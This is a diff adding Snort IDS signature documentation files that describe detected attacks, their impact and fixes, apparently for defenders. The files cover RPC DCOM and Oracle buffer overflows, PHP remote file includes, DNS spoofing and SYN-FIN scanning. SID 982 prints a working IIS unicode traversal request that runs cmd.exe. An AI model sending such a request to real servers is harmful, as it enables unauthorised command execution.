+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3240.txt
+++ snort-2.8.5.2/doc/signatures/3240.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3240
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3372.txt
+++ snort-2.8.5.2/doc/signatures/3372.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3372
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2848.txt
+++ snort-2.8.5.2/doc/signatures/2848.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2848
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_master_repobject
+. This procedure is included in
+sys.dbms_repcat_utl4.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/267.txt
+++ snort-2.8.5.2/doc/signatures/267.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+267
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000101.txt
+++ snort-2.8.5.2/doc/signatures/100000101.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 
+100000101
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow 
+vulnerability present in the Adobe Acrobat/Acrobat Reader ActiveX control, 
+pdf.ocx.
+
+-- 
+
+Impact: 
+By using properly crafted packets, attackers may execute arbitrary code of 
+their choosing with the privileges of the user running the affected software.
+
+--
+Detailed Information:
+This rule detects attempts to overflow the heap of the Adobe Acrobat/Acrobat 
+Reader ActiveX control, pdf.ocx. URI requests of 1,050 bytes or greater which 
+are received by this control will cause a buffer overflow and allow arbitrary 
+code execution with the privileges of the affected user. This rule is used in 
+conjunction with SID 100000100.
+
+--
+Affected Systems:
+Adobe Acrobat 5.0
+Adobe Acrobat 5.0.5
+Adobe Acrobat 6.0
+Adobe Acrobat 6.0.1
+Adobe Acrobat Reader 5.0
+Adobe Acrobat Reader 5.0.5
+Adobe Acrobat Reader 5.1
+Adobe Acrobat Reader 6.0
+Adobe Acrobat Reader 6.0.1
+
+--
+
+Attack Scenarios: 
+A web browser or automated script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as simply typing a long URI into a web browser will suffice.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Upgrade to Adobe Acrobat/Acrobat Reader 6.0.2.
+An alternate workaround is available: disable "Display PDF in browser" under 
+Edit -> Preferences.
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://www.adobe.com/support/downloads/thankyou.jsp?ftpID=2589&fileID=2433
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1970.txt
+++ snort-2.8.5.2/doc/signatures/1970.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1970
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow in the Remote Data Services (RDS) component of Microsoft Data Access Components (MDAC).  
+
+--
+Impact:
+Remote Access.  If the exploit is successful, an attacker can gain remote access to the host.
+
+--
+Detailed Information:
+MDAC is a set of components that facilitates database access on Windows platforms.  The RDS component provides remote access to a database through Internet Information Services (IIS).  A vulnerability exists because of incorrect string handling with the RDS interface allowing an attacker to send a malformed HTTP request that overruns onto the heap.  This may allow execution of arbitrary code on the system. 
+
+--
+Affected Systems:
+Windows hosts running MDAC 2.1, 2.5, 2.6
+
+--
+Attack Scenarios:
+An attacker can send a malformed HTTP request that is improperly validated by RDS, subsequently causing a buffer overflow.
+
+--
+Ease of Attack:
+Difficult.  According to the Microsoft bulletin, a heap is more difficult to exploit than a stack overflow.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply security hotfix for Q329414.
+
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1142
+
+Foundstone
+http://www.foundstone.com/knowledge/randd-advisories-display.html?id=337
+
+Microsoft
+http://support.microsoft.com/default.aspx?scid=kb;en-us;Q329414
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-16.txt
+++ snort-2.8.5.2/doc/signatures/111-16.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+111-16
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an IDS evasion attempt.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected a TCP session that contains
+retransimitted data without the necessary retransmission request. This
+may be an attempt to evade any monitoring IDS.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker could supply two packets containing different data, one with
+a malicious payload destined for a vulnerable host and the other with a
+benign payload meant for the IDS. The second packet may disguise itself
+in the session as retransmitted data.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2297.txt
+++ snort-2.8.5.2/doc/signatures/2297.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2297
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1659.txt
+++ snort-2.8.5.2/doc/signatures/1659.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1659
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1031.txt
+++ snort-2.8.5.2/doc/signatures/1031.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1031
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000624.txt
+++ snort-2.8.5.2/doc/signatures/100000624.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000624
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_create.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_create.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/982.txt
+++ snort-2.8.5.2/doc/signatures/982.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+982
+
+--
+Summary:
+This event is generated when an attempt is made use a unicode encoded representaion of a "\" in a URL request.  This may permit an attacker to navigate to files and directories outside the web root of a vulnerable Internet Information Services (IIS) server. 
+
+--
+Impact:
+Remote access.  This attack can allow an attacker to execute commands a vulnerable IIS server. 
+
+--
+Detailed Information:
+User access should be restricted to an assigned web root directory and subdirectories when interacting with a web server.  Attackers who attempt to perform directory traversals outside the web root should be denied access.  A vulnerability exists in IIS web servers that allows directory traversal outside the web root directory when unicode encoding of specific characters is used.  This particular attack uses the unicode encoding of the "\" to escape the web root.  This may permit an attacker to execute commands on the vulnerable server. 
+
+--
+Affected Systems:
+IIS 4.0, 5.0 servers
+
+--
+Attack Scenarios:
+An attacker can unicode encode a directory traversal character permitting execution of commands on the IIS server. 
+
+--
+Ease of Attack:
+Simple. 
+GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link. 
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0084
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2008.txt
+++ snort-2.8.5.2/doc/signatures/2008.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2008
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to connect 
+to CVS using the credentials of a user with escalated privileges. Should
+this attempt be succesful the entire CVS repository may be compromised.
+
+--
+Detailed Information:
+This rule detects attempts to connect to a CVS repository that fail due 
+determined activity by an attacker to gain unauthorized access to the 
+CVS respository.
+
+The source code of software in the repository may be compromised by a 
+succesful attacker who could choose to insert malicious code of his own 
+making.
+
+For CVS daemons running under changed root conditions (chroot), the rest
+of the operating system files may be protected but the entire CVS 
+directory structure and contents is vulnerable.
+
+--
+Affected Systems:
+	All versions of CVS
+	
+--
+Attack Scenarios:
+This may be an intelligence gathering activity or an attempt to log in 
+to CVS using the credentials of an authorized user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+It is possible that an authorized user may mis-type their username.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous cvs access to the server where appropriate.
+
+Maintain checks on the password database and the CVS repository.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVS:
+http://www.cvshome.org/docs/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2174.txt
+++ snort-2.8.5.2/doc/signatures/2174.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+file via SMB. 
+
+--
+Impact:
+Serious. This file contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a file
+containing important operating system information using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this file is accessible via SMB the attacker can manipulate the
+operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3423.txt
+++ snort-2.8.5.2/doc/signatures/3423.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3423
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/624.txt
+++ snort-2.8.5.2/doc/signatures/624.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+624
+
+--
+Summary:
+A tcp packet with it's SYN and FIN flags set was detected.
+
+--
+Impact:
+Information regarding firewall rulesets, open/closed ports, ACLs, and
+possibly even OS type is possible.  This technique can also be used to
+bypass certain firewalls or traffic filtering/shaping devices.
+
+--
+Detailed Information:
+A tcp packet with it's SYN and FIN flags set was detected.  Most
+stacks will respond with an ACK SYN indicating that the port was open,
+whereas a closed port will illicit an ACK RST.  
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of information gathering leading up to another (more directed)
+attack, an attacker may attempt to figure out what ports are
+open/closed on a remote machine.
+
+--
+Ease of Attack:
+Intermediate.  To initiate an attack of this type, an attacker either
+needs a tool that can send packets with the SYN and FIN flags set or
+the ability to craft their own packets.  The former is easy, the later
+requires a more advanced skillset.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine if this particular port would have responded as being open
+or closed.  If open, watch for more attacks on this particular service
+or from the remote machine that sent the packet.  If closed, simply
+watch for more traffic from this host.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/944.txt
+++ snort-2.8.5.2/doc/signatures/944.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+944
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+In this case an attempt is being made to access the executable file
+fpremadm.exe from resources external to the protected network.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/resources/documentation/office/2000/all/reskit/en-us/75t4_5.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000352.txt
+++ snort-2.8.5.2/doc/signatures/100000352.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000352
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Blend Portal" application running on a webserver. Access to the file "blend_common.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "blend_common.php" script used by the "Blend Portal" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blend Portal
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3359.txt
+++ snort-2.8.5.2/doc/signatures/3359.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3359
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2590.txt
+++ snort-2.8.5.2/doc/signatures/2590.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2590
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1537.txt
